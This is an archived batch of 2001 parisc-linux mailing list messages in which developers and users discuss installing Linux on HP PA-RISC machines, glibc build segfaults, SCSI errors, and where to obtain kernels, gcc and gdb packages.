Date: Fri, 28 Sep 2001 12:35:26 -0500
Organization: University of Missouri - Rolla
Lines: 22
Approved: news@gmane.org
Message-ID: <3BB4B4DE.8080608@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620533 26625 80.91.229.3 (22 Nov 2014 01:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 11:35:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49D674A01
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 11:35:31 -0600 (MDT)
Original-Received: from umr.edu (nneul@infinity.cc.umr.edu [131.151.32.21]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id MAA07468; Fri, 28 Sep 2001 12:35:26 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4+) Gecko/20010923
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12350

I just started looking at PA-RISC linux 0.9.2 on a J210 (which installed 
great on a narrow scsi drive, but didn't see the internal fw). Only 
problem I've seen so far is that it is spitting out ip_local_deliver bad 
loopback skb: PRE_ROUTING LOCAL_IN messages on the console for the lo 
device.

My main question though - what's the status of hpux binary support? The 
FAQ seems to indicate that some parisc binaries are already functional.

What is necessary to be done on the machine before I can run an HP 
executable?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216





From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what i did on my holidays
Date: Fri, 28 Sep 2001 13:37:18 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <20010928133718.N2611@megatonmonkey.net>
References: <20010927161004.E16096@parcelfarce.linux.theplanet.co.uk> <20010927204451.F2611@megatonmonkey.net> <20010928152312.A3460@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620533 26636 80.91.229.3 (22 Nov 2014 01:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 11:37:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CBAE4A01
	for <parisc-linux@parisc-linux.org>; Fri, 28 Sep 2001 11:37:24 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8SI5bG28168;
	Fri, 28 Sep 2001 14:05:38 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8SHbI508056;
	Fri, 28 Sep 2001 13:37:18 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010928152312.A3460@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Sep 28, 2001 at 03:23:12PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12351

> > 	- ./sysdeps/ia64/dl-fptr.c changes for try_lock
> > 	- Put change back into dpatch
> 
> Excellent.
> 
> > 	- dpkg-buildpackage now makes it to the point of using a new
> > 	  ld.so.1, which seg's... so I'm back to figuring out why.
> 
> Yes.  If you decode that long command, it's probably running zic -- that's
> the first thing it attempts to build natively.
> 
> By the way, there's glibc 2.2.4-2 out now; I don't know what changes
> BenC made to it.  In any case, I thought we'd decided the problem was
> with a bogus C compiler (since 2.2.3-9 now fails to build).  Any update
> on getting a compiler which fixes this?
>

No, I never get as far as making zic.

make[2]: Entering directory `/raid/glibc_build2/glibc-2.2.4/glibc-2.2.4/sunrpc'
/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1 --library-path /raid/glibc_build2/glibc-2.2.4/hppa-linux/obj:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/math:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/elf:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/dlfcn:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/nss:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/nis:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/rt:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/resolv:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/crypt:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/linuxthreads /raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/sunrpc/rpcgen -Y `gcc -print-file-name=cpp | sed 's|/cpp$||'` -c rpcsvc/bootparam_prot.x -o /raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/sunrpc/xbootparam_prot.T
make[2]: *** [/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/sunrpc/xbootparam_prot.stmp] Segmentation fault
make[2]: Leaving directory `/raid/glibc_build2/glibc-2.2.4/glibc-2.2.4/sunrpc'
make[1]: *** [sunrpc/others] Error 2
make[1]: Leaving directory `/raid/glibc_build2/glibc-2.2.4/glibc-2.2.4'
make: *** [all] Error 2

Is the last I see. And I'm pretty confused by _what_ is's really trying to do.
It's calling ld.so.1? Or is this just really ld? I wigged out the first time
I saw it fail here. I've seen many weird things, but the internals of glibc are
_really_ wired.

execve("/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1", ["/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1", "--library-path", "/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/math:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/elf:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/dlfcn:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/nss:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/nis:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/rt:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/resolv:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/crypt:/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/linuxthreads", "/raid/glibc_build2/glibc-2.2.4/hppa-linux/obj/sunrpc/rpcgen", "-Y", "/lib", "-c", "rpcsvc/bootparam_prot.x", "-o", "/raid/glibc_build2/g
 libc-2.2.4/hppa-linux/obj/sunrpc/xbootparam_prot.T"], [/* 18 vars */]) = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Out of curiosity, is there a gdb package built for debian-hppa?
(Last I checked there was none)

I'll try to debug this on the weekend.
Though my 712/60 has just gone dead on serial and ssh :}

---

I'll give glibc-2.2.4-2 a shot, and see what the difference are.
I assume that -2 is on the debian pool already.

Who is BenC? :)
Is he making general glibc changes or hppa specific ones?

Who's working on the compiler for parisc?

c. 




From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Fri, 28 Sep 2001 18:31:01 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010928183101.A30103@hp.is>
References: <3BB4B4DE.8080608@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620533 26638 80.91.229.3 (22 Nov 2014 01:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nathan Neulinger <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 12:31:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEA2249F6
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 12:31:04 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8SIV1W30116;
	Fri, 28 Sep 2001 18:31:01 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB4B4DE.8080608@umr.edu>; from nneul@umr.edu on Fri, Sep 28, 2001 at 12:35:26PM -0500
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12352

On Fri, Sep 28, 2001 at 12:35:26PM -0500, Nathan Neulinger wrote:
> I just started looking at PA-RISC linux 0.9.2 on a J210 (which installed 
> great on a narrow scsi drive, but didn't see the internal fw). Only 
> problem I've seen so far is that it is spitting out ip_local_deliver bad 
> loopback skb: PRE_ROUTING LOCAL_IN messages on the console for the lo 
> device.
> 

I got rid of that message by killing the dhcp client daemon.


-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Fri, 28 Sep 2001 20:48:18 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109282045120.601-100000@www2.scram.de>
References: <20010928182422.A22740@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620534 26641 80.91.229.3 (22 Nov 2014 01:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:14 +0000 (UTC)
Cc: Jurij Smakov <jurij@lokmail.net>,
	<parisc-linux@lists.parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 12:48:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F65B4872
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 12:48:49 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8SImIG15112;
	Fri, 28 Sep 2001 20:48:18 +0200 (CEST)
In-Reply-To: <20010928182422.A22740@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12353

Hi Albert,

> Then I tried a mke2fs on my SCSI disk's 2nd partition (ext2), in an
> attempt to get my system to boot from disk... Eek!
>
> scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 005ee038 (script[0x180e]), dsps = 005eecde, target = 0
> scsi0: Failing command for ID6
> scsi0: Serious error, sstat0 = 04
> scsi0: Chip register contents:
>  (script[0] at virt 105e8000, bus 5e8000)
>  00  sien:  af  sdid:  40  scntl1:20  scntl0:d4
>  04  socl:  06  sodl:  00  sxfer: 00  scid:  80
>  08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
>  0C  sstat2:06  sstat1:00  sstat0:00  dstat: 00
>  10
>  14  ctest3:84  ctest2:25  ctest1:0b  ctest0:00
>  18  ctest7:00  ctest6:00  ctest5:00  ctest4:00
>  1C  temp:  00000000
>  20              ctest8:ff  istat: 06  dfifo: 00
>  24  dbc:   0e000001  dnad:  005eecde  dsp:   005ee038
>  30  dsps:  005eecde
>  34  dmode: 80
>  38  dcntl: 80  dwt:   00  dien:  1d
>  3C
> scsi0: Unexpected stacked interrupt, istat 06, sstat0 08, dstat 00
> scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip

On my installation i "fixed" this by switching off SCSI disconnects for my
disks. IIRC, this was by adding sim700=nodisc:0x70 to the kernel command
line.

I'm currently about 150 km away from my HP9000/720 during the weekend.
I'll test the proposed patch on Monday.

Cheers,
Jochen





From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
Date: Fri, 28 Sep 2001 14:02:09 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F1@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620534 26645 80.91.229.3 (22 Nov 2014 01:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Richard Allen'" <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 13:02:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E92F49F9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 13:02:31 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id OAA03267; Fri, 28 Sep 2001 14:02:27 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHBB6H>; Fri, 28 Sep 2001 14:02:26 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12354

Ah, thanks!... wonder why it got enabled since I told it no on dhcp...
Weird. (I'm not a debian user, so some of it's ways of doing things are a
bit odd to me.)

-- Nathan

> -----Original Message-----
> From: Richard Allen [mailto:ra@hp.is]
> Sent: Friday, September 28, 2001 1:31 PM
> To: Nathan Neulinger
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
> 
> 
> On Fri, Sep 28, 2001 at 12:35:26PM -0500, Nathan Neulinger wrote:
> > I just started looking at PA-RISC linux 0.9.2 on a J210 
> (which installed 
> > great on a narrow scsi drive, but didn't see the internal fw). Only 
> > problem I've seen so far is that it is spitting out 
> ip_local_deliver bad 
> > loopback skb: PRE_ROUTING LOCAL_IN messages on the console 
> for the lo 
> > device.
> > 
> 
> I got rid of that message by killing the dhcp client daemon.
> 
> 
> -- 
> Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX 
> Certified Admin.
>                --  Solaris 7 Certified Systems and Network 
> Administrator.
> Bell Labs Unix --  Reach out and grep someone.
> Those who do not understand Unix are condemned to reinvent it, poorly.
> 




From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what i did on my holidays
Date: Fri, 28 Sep 2001 14:11:39 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20010928201139.9437837C8D@carmen.fc.hp.com>
References: <20010927161004.E16096@parcelfarce.linux.theplanet.co.uk> 
 <20010927204451.F2611@megatonmonkey.net> <20010928152312.A3460@parcelfarce.linux.theplanet.co.uk>  <20010928133718.N2611@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620534 26647 80.91.229.3 (22 Nov 2014 01:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:14 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 14:11:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A9B349F9
	for <parisc-linux@parisc-linux.org>; Fri, 28 Sep 2001 14:11:41 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 36A6D869; Fri, 28 Sep 2001 16:11:40 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 9437837C8D; Fri, 28 Sep 2001 14:11:39 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@megatonmonkey.net> 
   of "Fri, 28 Sep 2001 13:37:18 EDT." <20010928133718.N2611@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12355

"Carlos O'Donell Jr." writes...

[snip]
> Out of curiosity, is there a gdb package built for debian-hppa?

There's an unofficial package in

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/unofficial-debs

pehc cvs needs to be synced up with upstream before the changes can be sent 
upstream and also put in the official Debian package.

[snip]
> Who's working on the compiler for parisc?

No one. Alan Modra periodically does cvs merges and I use that to generate 
patches for the Debian package. We need to catch up with the 
3.0.2ds2-0pre010922 version of the package, which I hope to do next week. That 
might help glibc but I'm betting whatever's causing the build failure it still 
out there.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Where to get recent parisc kernels w/o building?
Date: Fri, 28 Sep 2001 15:37:57 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620534 26648 80.91.229.3 (22 Nov 2014 01:42:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 14:38:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5B4049F9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 14:38:08 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id PAA02867; Fri, 28 Sep 2001 15:38:08 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHB1T7>; Fri, 28 Sep 2001 15:38:07 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12356

Is there any convenient place to grab a 2.4.9 (or more recent) vmlinux for
parisc-linux other than getting it myself out of cvs? (Don't have a
functional build environment at the moment.)

Also, what about a working gcc? I've apt-get upgrade'd everything, and gcc
complains about lots of header file goofiness when compiling even a simple
hello world program.

Also, does the kernel build have to be done cross-compile, or can it be
built on the parisc-linux machine itself?

-- Nathan




From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Where to get recent parisc kernels w/o building?
Date: Fri, 28 Sep 2001 15:43:50 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F5@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620535 26652 80.91.229.3 (22 Nov 2014 01:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:15 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 14:44:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83D8D49F9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 14:44:08 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id PAA04974; Fri, 28 Sep 2001 15:44:07 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHB1YK>; Fri, 28 Sep 2001 15:44:07 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12357

Never mind on the gcc problem... figured out I didn't have libc6-dev
installed. (Not quite used to debian yet.)

-- Nathan

> -----Original Message-----
> From: Neulinger, Nathan 
> Sent: Friday, September 28, 2001 3:38 PM
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Where to get recent parisc kernels w/o building?
> 
> 
> Is there any convenient place to grab a 2.4.9 (or more 
> recent) vmlinux for parisc-linux other than getting it myself 
> out of cvs? (Don't have a functional build environment at the moment.)
> 
> Also, what about a working gcc? I've apt-get upgrade'd 
> everything, and gcc complains about lots of header file 
> goofiness when compiling even a simple hello world program.
> 
> Also, does the kernel build have to be done cross-compile, or 
> can it be built on the parisc-linux machine itself?
> 
> -- Nathan
> 




From - Thu Nov 08 21:19:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where to get recent parisc kernels w/o building?
Date: Fri, 28 Sep 2001 23:23:55 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20010928232355.A23750@dogbert.localdomain>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="FL5UXtIhxfXey3p5"
X-Trace: ger.gmane.org 1416620535 26655 80.91.229.3 (22 Nov 2014 01:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 28 15:24:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5F2A49FC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Sep 2001 15:24:46 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15n57i-0007b1-00
	for parisc-linux@lists.parisc-linux.org; Fri, 28 Sep 2001 23:24:42 +0200
Original-Received: (qmail 17207 invoked from network); 28 Sep 2001 21:24:42 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 28 Sep 2001 21:24:42 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15n56x-0006F3-00; Fri, 28 Sep 2001 23:23:55 +0200
Content-Disposition: inline
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15n57i-0007b1-00*HOanQfULGSg* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12358

--FL5UXtIhxfXey3p5
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Fri, 28 Sep 2001, Neulinger, Nathan wrote:

> Is there any convenient place to grab a 2.4.9 (or more recent) vmlinux for
> parisc-linux other than getting it myself out of cvs? (Don't have a
> functional build environment at the moment.)

I suggest grabbing palo-latest, linux-latest and xc-latest from
ftp://puffin.external.hp.com (I can't get to it at the moment, but maybe
you can). Unless you are very lucky, you're going to at least need to
change the boot parameters, for which you need palo anyway. So grab 'em
and set up a build environment if you're REALLY serious about your HP.
:-)
=20
> Also, what about a working gcc? I've apt-get upgrade'd everything, and gcc
> complains about lots of header file goofiness when compiling even a simple
> hello world program.

As far as I know, we're still missing a kernel-headers package for hppa.
I could be wrong. Perhaps you should find the right person and complain
about this. :-) I think a suggested solution was to force-install the
sparc headers or something...
=20
> Also, does the kernel build have to be done cross-compile, or can it be
> built on the parisc-linux machine itself?

You can build it either way. I don't have a 2nd HP machine, so I have to
cross-compile. It's actually pretty nice considering that I have access
to a SMP p3-600 box. :-)

Regards,

Albert

--FL5UXtIhxfXey3p5
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tOpqDg+hOeRZtkMRAuOmAJ9OyPxT+t0zgz7xq9asT3368JMF4QCfR3L7
cIUnD3tN3TjyZhZfrslQD+M=
=g+Bm
-----END PGP SIGNATURE-----

--FL5UXtIhxfXey3p5--




From - Thu Nov 08 21:19:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where to get recent parisc kernels w/o building?
Date: Fri, 28 Sep 2001 15:29:46 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20010928212946.44B9D37C8D@carmen.fc.hp.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F4@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620535 26656 80.91.229.3 (22 Nov 2014 01:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
